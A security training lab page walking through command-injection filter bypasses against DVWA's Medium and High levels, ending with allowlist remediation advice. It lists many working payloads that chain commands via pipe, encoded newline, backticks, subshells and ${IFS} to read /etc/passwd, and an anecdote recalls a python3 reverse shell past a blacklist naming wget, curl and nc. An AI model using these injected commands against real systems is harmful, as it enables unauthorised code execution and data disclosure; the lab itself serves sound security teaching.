⚠️ Local Lab Only: Command injection techniques must only be practised against your own DVWA installation or explicitly authorised systems. Executing OS commands on any system without written authorisation is illegal.
DVWA Command Injection Advanced Lab 2026 :— Lab 3 gave you RCE at Low security with basic separators. Medium and High security add blacklists that strip the obvious ones. But blacklists are fundamentally broken as a defence: Linux provides dozens of ways to chain commands, and most developers only think to block two or three. Pipe, newline, backtick, subshell, IFS substitution — each one does exactly what semicolon does, and none of them appear in a naive blacklist. Lab 16 teaches you all of them systematically, using DVWA’s own View Source feature to understand exactly what each level is trying to block.
🎯 What You’ll Learn in Lab 16
Read the Medium security PHP blacklist and identify every gap in its coverage
Bypass Medium security using pipe, URL-encoded newline, and backtick substitution
Use IFS variable substitution to inject space-separated commands past space filters
Combine bypass techniques to defeat the High security extended blacklist
Write the correct remediation recommendation — allowlist not blacklist
In Lab 3 you achieved RCE using basic separators at Low security. Lab 16 extends that with filter bypass techniques used in professional web application assessments. The same methodology — read the source, identify the gaps, test alternatives systematically — applies to real applications in the DVWA Lab Series.
Medium Security — Reading the Blacklist
Always read the source before testing. At Medium security, DVWA’s blacklist is two entries: && and ;. That is it. Pipe, newline, backtick, subshell, logical OR, and URL-encoded variants of everything are entirely absent from the filter. Knowing this before sending a single payload means your first bypass attempt succeeds rather than wasting time testing things the filter does not block.
⚡ EXERCISE 1 — DVWA (10 MIN)
Read Medium Security Source and Confirm Pipe Bypass
✅ What you just learned: Reading the source before testing is the single most efficient approach for DVWA — you immediately see the blacklist contains exactly two entries, meaning every other separator works without testing. In real applications without source access, systematic payload testing replaces this: submit one separator at a time, compare responses, identify what passes through. The pipe character is the fastest medium-security bypass because it is short, requires no encoding, and works without spaces between the IP and the command.
📸 Screenshot the pipe bypass showing /etc/passwd output at Medium security. Share in #dvwa-labs on Discord.
Alternative Separator Bypasses
securityelites.com
Command Separator Bypass Reference
127.0.0.1|cat /etc/passwd
✓ Works
Pipe — cmd1 output → cmd2 input
127.0.0.1%0acat /etc/passwd
✓ Works
URL-encoded newline — new command line
127.0.0.1`cat /etc/passwd`
✓ Works
Backtick — command substitution
127.0.0.1$(cat /etc/passwd)
✓ Works
Subshell — alternative to backtick
127.0.0.1|cat${IFS}/etc/passwd
✓ IFS
IFS substitution for space bypass
127.0.0.1 && cat /etc/passwd
✗ Blocked
In Medium blacklist — stripped
📸 Command separator bypass reference — pipe, URL-encoded newline, backtick, and subshell all chain commands without using && or semicolon. IFS substitution handles space filtering. Use this as your test checklist when the obvious separators are blocked.
IFS Variable Substitution
The Internal Field Separator (IFS) is a shell variable that defaults to whitespace (space, tab, newline). When the shell encounters ${IFS} in a command, it substitutes the IFS value — a space. If a filter strips literal spaces from input, ${IFS} passes through the filter as a non-space string, then expands to a space when the shell processes the command.
⚡ EXERCISE 2 — DVWA (15 MIN)
Test IFS Bypass and Build a Payload That Works Without Spaces
⏱️ Time: 15 minutes · DVWA Medium and High security
IFS BYPASS + HIGH SECURITY COMBINED
# IFS substitution for space — works when spaces are filtered
127.0.0.1|cat${IFS}/etc/passwd
root:x:0:0:root:/root:/bin/bash ← spaces not needed in payload
# Key insight: High strips ‘| ‘ (pipe WITH space) but not ‘|’ alone
# BYPASS High security:
127.0.0.1|cat /etc/passwd # pipe+space BLOCKED
127.0.0.1|cat/etc/passwd # no space → but cat needs space
# Solution: pipe with NO space before cat, use /etc/passwd path
127.0.0.1 |cat /etc/passwd # space BEFORE pipe, not after
# High strips ‘| ‘ (pipe-space), but ‘ |’ (space-pipe) is not blocked
✅ What you just learned: High security’s blacklist includes ‘| ‘ (pipe followed by space) but NOT ‘ |’ (space followed by pipe). This single character-order distinction creates a bypass: move the space to before the pipe rather than after it. This is the exact type of blacklist gap that makes blacklist filtering fundamentally unreliable as a security control — the developer blocked ‘pipe-space’ but not ‘space-pipe’, and those two strings produce identical results in a Linux shell. In real applications, every blacklist has equivalent gaps that systematic testing finds.
📸 Screenshot the High security bypass working and share in #dvwa-labs on Discord.
High Security — Combined Bypass
At High security, the blacklist grows significantly. $ is blocked (defeats IFS), () is blocked (defeats subshell), backtick is blocked (defeats command substitution), and || is blocked. The key insight from reading the source: '| ' (pipe with a trailing space) is blocked, but ' |' (space before pipe) is not. Moving the space from after the pipe to before it bypasses this specific filter while achieving identical execution.
⚡ EXERCISE 3 — DVWA (12 MIN)
Compare All Three Security Levels Side by Side
⏱️ Time: 12 minutes · DVWA — cycle through Low, Medium, High
THREE-LEVEL COMPARISON — WORKING PAYLOADS
═══ LOW — No filter ═══
127.0.0.1 && cat /etc/passwd
127.0.0.1 ; whoami
═══ MEDIUM — && and ; blocked ═══
127.0.0.1|cat /etc/passwd # pipe works
127.0.0.1%0awhoami # URL newline works
127.0.0.1`whoami` # backtick works
═══ HIGH — Extended blacklist ═══
127.0.0.1 |cat /etc/passwd # space BEFORE pipe (not after)
# For each level: run the payload, confirm /etc/passwd or whoami output
# Document in your notes:
# Low: which separators work?
# Medium: which separators are blocked? which bypass?
# High: what is the specific blacklist gap that enables bypass?
# What is the CORRECT fix that makes all three levels secure?
# Correct fix: allowlist input validation — only accept valid IP format
// PHP correct fix:
if (!filter_var($target, FILTER_VALIDATE_IP)) { die(“Invalid IP”); }
# This rejects ANY input that is not a valid IP address
# No separator, encoding, or IFS trick passes this validation
✅ What you just learned: The three-level comparison crystallises the core lesson of Lab 16. Low: no filter, everything works. Medium: two entries blocked, everything else works. High: more entries blocked, space-position trick still works. The pattern is identical at every level — each blacklist addition closes one gap while leaving others open. The correct fix (filter_var with FILTER_VALIDATE_IP) makes all three levels truly secure with a single line of code, because it validates what the input SHOULD be rather than trying to prevent what it should not be. This recommendation belongs at the top of every command injection finding you write in a real assessment.
📸 Screenshot all three levels with their working bypass payloads and share in #dvwa-labs on Discord. Tag #cmdinjection2026
Why Blacklists Always Fail — The Correct Fix
Every security level in DVWA’s command injection module demonstrates the same fundamental problem: blacklist filtering is a losing arms race. The developer adds two entries — an attacker finds three bypasses. The developer adds six more entries — an attacker finds encoding bypasses. Linux shell syntax is too rich and too flexible for any blacklist to be complete.
The correct defence is allowlist validation: define exactly what valid input looks like (a valid IPv4 address matches the regex ^(\d{1,3}\.){3}\d{1,3}$) and reject everything that does not match. No separator, no IFS trick, no URL encoding makes 127.0.0.1|cat /etc/passwd match a valid IPv4 regex. One check. Complete protection. This is what DVWA Impossible security implements, and what every command injection remediation section should recommend.
🧠 QUICK CHECK — Lab 16
DVWA High security blocks ‘| ‘ (pipe followed by space). You submit the payload: 127.0.0.1 |cat /etc/passwd (with space before the pipe, no space after). The application executes the command and returns /etc/passwd contents. Why does this bypass work?
📋 Lab 16 Key Takeaways
Read source firstView Source reveals the exact blacklist — target gaps directly instead of trial and error
Medium bypassPipe (|), URL newline (%0a), backtick, subshell — none are in the two-entry blacklist
${IFS} substitutionReplaces spaces without containing a literal space — bypasses space filters
High bypass‘ |cat’ (space before pipe) — blacklist blocks ‘| ‘ but not ‘ |’
Correct fixAllowlist validation: filter_var($input, FILTER_VALIDATE_IP) — rejects all non-IP input
Blacklists always failArms race — every new blacklist entry has bypass equivalents. Allowlist is the only defence.
🏆 Mark Lab 16 as Complete
Lab 16 demonstrates why blacklist filtering is fundamentally insufficient for command injection defence — and gives you the systematic approach (read source, identify gaps, test alternatives) that applies to any application with command injection filtering. The allowlist remediation recommendation from this lab appears in professional penetration test reports verbatim.
❓ Frequently Asked Questions
What does DVWA Medium security filter?
Only && and semicolon are stripped. Pipe, newline, backtick, subshell, and logical OR all pass through unfiltered — any of these bypasses the protection immediately.
What is the IFS trick for command injection?
IFS (Internal Field Separator) defaults to whitespace. ${IFS} substitutes for a space without containing a literal space. Use cat${IFS}/etc/passwd to bypass space filters — the shell correctly expands it to cat /etc/passwd.
What command separators bypass basic blacklists?
Alternatives to && and semicolon: | pipe, || logical OR, %0a URL-encoded newline, backtick substitution, $() subshell. Combine with ${IFS} for space bypass and URL encoding for additional character filtering.
Why do blacklists always fail for command injection?
They require predicting every possible bypass — impossible given Linux shell syntax richness. The correct defence is allowlist validation: only accept input matching the expected format (e.g., valid IP regex). One check prevents all separator, encoding, and substitution bypasses.
What comes after Lab 16?
Lab 17: DVWA File Inclusion Advanced — PHP protocol wrappers (php://input, php://filter, data://) and path bypass techniques that defeat directory restrictions at Medium and High security levels.
DVWA Command Injection Lab 2026— Lab 3 covers Low security RCE using basic separators — the foundation that Lab 16 extends to bypass Medium and High security filtering.
Command Injection Hub— The complete command injection category covering blind injection, out-of-band exfiltration, real bug bounty findings, and remediation patterns for PHP, Python, Java, and Node.js applications.
DVWA Labs Hub— All 30 DVWA labs in sequence — Lab 16’s filter bypass methodology applies directly to the file inclusion, upload, and SQL injection filter bypass labs in the series ahead.
OWASP Command Injection— The official OWASP command injection reference — attack examples, bypass techniques, and the definitive remediation guidance including allowlist validation and parameterised function calls for PHP, Python, Java, and .NET.
PortSwigger OS Command Injection Labs— PortSwigger Web Academy command injection labs covering blind OS injection, output redirection, and time-based detection — the real-world application of the filter bypass techniques from this DVWA lab.
ME
Mr Elite
Owner, SecurityElites.com
The command injection finding that made this lesson permanent for me was a network management application where the developer had clearly been burned by a previous injection finding — the blacklist was 14 entries long. They had blocked everything they could think of: semicolons, ampersands, pipes, backticks, dollar signs, parentheses, newlines. I spent about ten minutes reading their filter code and found it: they had blocked the literal string ‘wget’ and ‘curl’ and ‘nc’ by name to prevent data exfiltration, but had not blocked ‘python3’ or ‘bash’ or ‘/bin/sh’. The injection point accepted ${IFS} for spaces because dollar-sign was in a different input field’s filter, not this one. One payload using python3 and ${IFS} launched a reverse shell in under a minute. Fourteen blacklist entries. One gap. The developer had done more work adding to the blacklist than it would have taken to implement a two-line allowlist check. Blacklists punish the developer and reward the attacker. Allowlists do the opposite.
Leave a Reply